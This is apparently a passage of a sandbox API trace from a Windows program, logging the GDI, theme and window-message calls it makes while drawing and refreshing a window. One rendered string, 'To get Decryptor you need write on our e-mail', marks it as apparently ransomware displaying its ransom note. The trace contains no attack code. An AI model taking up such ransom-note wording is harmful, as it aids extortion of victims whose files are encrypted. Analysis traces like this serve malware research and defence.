[0285.837] SaveDC (hdc=0x12010b4c) returned 1
[0285.837] OffsetViewportOrgEx (in: hdc=0x12010b4c, x=0, y=0, lppt=0x2745750 | out: lppt=0x2745750) returned 1
[0285.837] GetTextAlign (hdc=0x12010b4c) returned 0x0
[0285.837] GetTextColor (hdc=0x12010b4c) returned 0x0
[0285.838] SetTextColor (hdc=0x12010b4c, color=0xffff) returned 0x0
[0285.838] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.838] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.838] SelectObject (hdc=0x12010b4c, h=0x50a0b98) returned 0x18a002e
[0285.838] GetBkMode (hdc=0x12010b4c) returned 2
[0285.839] SetBkMode (hdc=0x12010b4c, mode=1) returned 2
[0285.839] DrawTextExW (in: hdc=0x12010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed6d8, format=0x102010, lpdtp=0x2745950 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed6d8) returned 14
[0285.839] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.839] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x12010b4c) returned 0x0
[0285.839] GetDC (hWnd=0x0) returned 0x1010a48
[0285.840] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.840] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.840] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.840] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.840] GetDC (hWnd=0x0) returned 0x1010a48
[0285.840] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.841] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.841] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.841] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.841] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.841] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.841] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.842] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.842] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.842] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.842] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.842] LocalFree (hMem=0x1de51510) returned 0x0
[0285.842] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.842] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.843] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.843] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.843] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.843] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.843] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.843] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.843] SaveDC (hdc=0x12010b4c) returned 1
[0285.844] OffsetViewportOrgEx (in: hdc=0x12010b4c, x=0, y=0, lppt=0x2745d38 | out: lppt=0x2745d38) returned 1
[0285.844] IsAppThemed () returned 0x1
[0285.844] GetThemeAppProperties () returned 0x3
[0285.844] GetThemeAppProperties () returned 0x3
[0285.844] DrawThemeBackground () returned 0x0
[0285.844] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.844] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x12010b4c) returned 0x0
[0285.844] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.844] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.845] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.845] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.845] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.845] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.845] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.845] LocalFree (hMem=0x1de51510) returned 0x0
[0285.845] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.846] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.846] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.846] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.846] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.846] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.846] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.846] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.847] SaveDC (hdc=0x12010b4c) returned 1
[0285.847] OffsetViewportOrgEx (in: hdc=0x12010b4c, x=0, y=0, lppt=0x2746190 | out: lppt=0x2746190) returned 1
[0285.847] IsAppThemed () returned 0x1
[0285.847] GetThemeAppProperties () returned 0x3
[0285.847] GetThemeAppProperties () returned 0x3
[0285.847] DrawThemeBackground () returned 0x0
[0285.847] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.847] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x12010b4c) returned 0x0
[0285.848] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.848] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.848] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.848] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.848] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.848] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.848] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.848] LocalFree (hMem=0x1de51510) returned 0x0
[0285.849] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.849] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.849] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.849] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.849] GetCurrentObject (hdc=0x12010b4c, type=0x1) returned 0x1b00017
[0285.849] GetCurrentObject (hdc=0x12010b4c, type=0x2) returned 0x1900010
[0285.850] GetCurrentObject (hdc=0x12010b4c, type=0x7) returned 0x6050b85
[0285.850] GetCurrentObject (hdc=0x12010b4c, type=0x6) returned 0x18a002e
[0285.850] SaveDC (hdc=0x12010b4c) returned 1
[0285.850] OffsetViewportOrgEx (in: hdc=0x12010b4c, x=0, y=0, lppt=0x27465e8 | out: lppt=0x27465e8) returned 1
[0285.850] IsAppThemed () returned 0x1
[0285.850] GetThemeAppProperties () returned 0x3
[0285.850] GetThemeAppProperties () returned 0x3
[0285.850] DrawThemeBackground () returned 0x0
[0285.850] RestoreDC (hdc=0x12010b4c, nSavedDC=-1) returned 1
[0285.850] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x12010b4c) returned 0x0
[0285.851] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.851] SelectPalette (hdc=0x12010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.851] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0285.852] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.852] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.852] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0285.853] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee698 | out: lpwndpl=0x2ee698) returned 1
[0285.853] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x47, wParam=0x0, lParam=0x2eeac0) returned 0x0
[0285.853] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee530 | out: lpRect=0x2ee530) returned 1
[0285.853] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee530 | out: lpRect=0x2ee530) returned 1
[0285.854] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.854] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.854] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xc00ad
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xe0249
[0285.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0xe0249
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x88, wParam=0x4, lParam=0x0) returned 0x0
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xc00ad
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xe0249
[0285.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0xe0249
[0285.858] GetMessageA (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.859] VirtualQuery (in: lpAddress=0x7fe9401cbe0, lpBuffer=0x2ee3c0, dwLength=0x30 | out: lpBuffer=0x2ee3c0*(BaseAddress=0x7fe9401c000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0285.859] TranslateMessage (lpMsg=0x2eec80) returned 0
[0285.860] DispatchMessageA (lpMsg=0x2eec80) returned 0x0
[0285.860] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.860] IsWindowUnicode (hWnd=0x4015e) returned 1
[0285.860] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.860] TranslateMessage (lpMsg=0x2eec80) returned 0
[0285.861] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0285.943] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.944] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
[0285.951] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2eeac0) returned 0x0
[0285.952] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0285.952] IsWindowUnicode (hWnd=0x2029e) returned 1
[0285.952] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.952] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0285.958] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0285.959] SetCursor (hCursor=0x10003) returned 0x10007
[0285.959] TranslateMessage (lpMsg=0x2eec80) returned 0
[0285.959] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0285.960] VirtualQuery (in: lpAddress=0x7fe9401cda0, lpBuffer=0x2ee080, dwLength=0x30 | out: lpBuffer=0x2ee080*(BaseAddress=0x7fe9401c000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0285.973] _TrackMouseEvent (in: lpEventTrack=0x2746810 | out: lpEventTrack=0x2746810) returned 1
[0285.974] SendMessageW (hWnd=0x2029e, Msg=0xc164, wParam=0x0, lParam=0x0) returned 0x0
[0285.974] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xc164, wParam=0x0, lParam=0x0) returned 0x0
[0285.974] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0285.974] GetKeyState (nVirtKey=2) returned 0
[0285.974] GetKeyState (nVirtKey=4) returned 0
[0285.974] GetKeyState (nVirtKey=5) returned 0
[0285.974] GetKeyState (nVirtKey=6) returned 0
[0285.974] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.974] IsWindowUnicode (hWnd=0x102b6) returned 1
[0285.974] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.978] GetKeyState (nVirtKey=16) returned 0
[0285.978] GetKeyState (nVirtKey=17) returned 0
[0285.978] GetKeyState (nVirtKey=18) returned -127
[0285.978] TranslateMessage (lpMsg=0x2eec80) returned 1
[0285.978] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0285.980] GetKeyState (nVirtKey=16) returned 0
[0285.980] GetKeyState (nVirtKey=17) returned 0
[0285.980] GetKeyState (nVirtKey=18) returned -127
[0285.980] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0
[0285.980] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.980] IsWindowUnicode (hWnd=0x102b6) returned 1
[0285.980] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.980] GetKeyState (nVirtKey=16) returned 0
[0285.980] GetKeyState (nVirtKey=17) returned 0
[0285.980] GetKeyState (nVirtKey=18) returned 1
[0285.981] TranslateMessage (lpMsg=0x2eec80) returned 1
[0285.981] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0285.981] GetKeyState (nVirtKey=16) returned 0
[0285.981] GetKeyState (nVirtKey=17) returned 0
[0285.981] GetKeyState (nVirtKey=18) returned 1
[0285.981] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0
[0285.981] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.981] IsWindowUnicode (hWnd=0x102b6) returned 1
[0285.981] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0285.981] GetKeyState (nVirtKey=16) returned 0
[0285.981] GetKeyState (nVirtKey=17) returned 0
[0285.981] GetKeyState (nVirtKey=18) returned -128
[0285.982] SendMessageW (hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0285.982] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0285.982] GetParent (hWnd=0x4015e) returned 0x0
[0285.982] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0
[0285.982] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0
[0285.982] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.982] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.983] RedrawWindow (hWnd=0x40160, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.983] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.983] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.983] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.983] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.983] RedrawWindow (hWnd=0x202a6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.984] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0285.984] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0285.987] CreateSolidBrush (color=0x80) returned 0x16100a95
[0285.987] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0xffffff
[0285.988] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0x80
[0285.988] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0285.988] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0285.988] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xd, wParam=0x1, lParam=0x1ac60760) returned 0x0
[0285.988] RedrawWindow (hWnd=0x20276, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.988] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.988] RedrawWindow (hWnd=0x202a4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.988] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.989] InvalidateRect (hWnd=0x20278, lpRect=0x0, bErase=1) returned 1
[0285.989] RedrawWindow (hWnd=0x20278, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.989] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.989] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.989] GetStockObject (i=5) returned 0x1900015
[0285.990] GetDlgItem (hDlg=0x2027a, nIDDlgItem=262808) returned 0x40298
[0285.990] SendMessageW (hWnd=0x40298, Msg=0x202b, wParam=0x40298, lParam=0x2eb4b0) returned 0x0
[0285.990] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x202b, wParam=0x40298, lParam=0x2eb4b0) returned 0x0
[0285.990] RedrawWindow (hWnd=0x40298, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.990] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.990] GetStockObject (i=5) returned 0x1900015
[0285.990] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131744) returned 0x202a0
[0285.990] SendMessageW (hWnd=0x202a0, Msg=0x202b, wParam=0x202a0, lParam=0x2eb4b0) returned 0x0
[0285.990] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x202b, wParam=0x202a0, lParam=0x2eb4b0) returned 0x0
[0285.990] RedrawWindow (hWnd=0x202a0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.991] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.991] GetStockObject (i=5) returned 0x1900015
[0285.991] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131746) returned 0x202a2
[0285.991] SendMessageW (hWnd=0x202a2, Msg=0x202b, wParam=0x202a2, lParam=0x2eb4b0) returned 0x0
[0285.991] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x202b, wParam=0x202a2, lParam=0x2eb4b0) returned 0x0
[0285.991] RedrawWindow (hWnd=0x202a2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.991] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.991] GetStockObject (i=5) returned 0x1900015
[0285.991] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131732) returned 0x20294
[0285.991] SendMessageW (hWnd=0x20294, Msg=0x202b, wParam=0x20294, lParam=0x2eb4b0) returned 0x0
[0285.991] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x202b, wParam=0x20294, lParam=0x2eb4b0) returned 0x0
[0285.991] RedrawWindow (hWnd=0x20294, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.991] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.991] GetStockObject (i=5) returned 0x1900015
[0285.992] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131734) returned 0x20296
[0285.992] SendMessageW (hWnd=0x20296, Msg=0x202b, wParam=0x20296, lParam=0x2eb4b0) returned 0x0
[0285.992] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x202b, wParam=0x20296, lParam=0x2eb4b0) returned 0x0
[0285.992] RedrawWindow (hWnd=0x20296, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.992] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.992] GetStockObject (i=5) returned 0x1900015
[0285.992] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131728) returned 0x20290
[0285.992] SendMessageW (hWnd=0x20290, Msg=0x202b, wParam=0x20290, lParam=0x2eb4b0) returned 0x0
[0285.992] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x202b, wParam=0x20290, lParam=0x2eb4b0) returned 0x0
[0285.992] RedrawWindow (hWnd=0x20290, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.992] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.992] GetStockObject (i=5) returned 0x1900015
[0285.992] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131730) returned 0x20292
[0285.992] SendMessageW (hWnd=0x20292, Msg=0x202b, wParam=0x20292, lParam=0x2eb4b0) returned 0x0
[0285.992] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x202b, wParam=0x20292, lParam=0x2eb4b0) returned 0x0
[0285.993] RedrawWindow (hWnd=0x20292, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.993] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.993] GetStockObject (i=5) returned 0x1900015
[0285.993] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131724) returned 0x2028c
[0285.993] SendMessageW (hWnd=0x2028c, Msg=0x202b, wParam=0x2028c, lParam=0x2eb4b0) returned 0x0
[0285.993] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x202b, wParam=0x2028c, lParam=0x2eb4b0) returned 0x0
[0285.993] RedrawWindow (hWnd=0x2028c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.993] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.993] GetStockObject (i=5) returned 0x1900015
[0285.993] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131726) returned 0x2028e
[0285.993] SendMessageW (hWnd=0x2028e, Msg=0x202b, wParam=0x2028e, lParam=0x2eb4b0) returned 0x0
[0285.993] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x202b, wParam=0x2028e, lParam=0x2eb4b0) returned 0x0
[0285.993] RedrawWindow (hWnd=0x2028e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.994] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.994] GetStockObject (i=5) returned 0x1900015
[0285.994] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131720) returned 0x20288
[0285.994] SendMessageW (hWnd=0x20288, Msg=0x202b, wParam=0x20288, lParam=0x2eb4b0) returned 0x0
[0285.994] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x202b, wParam=0x20288, lParam=0x2eb4b0) returned 0x0
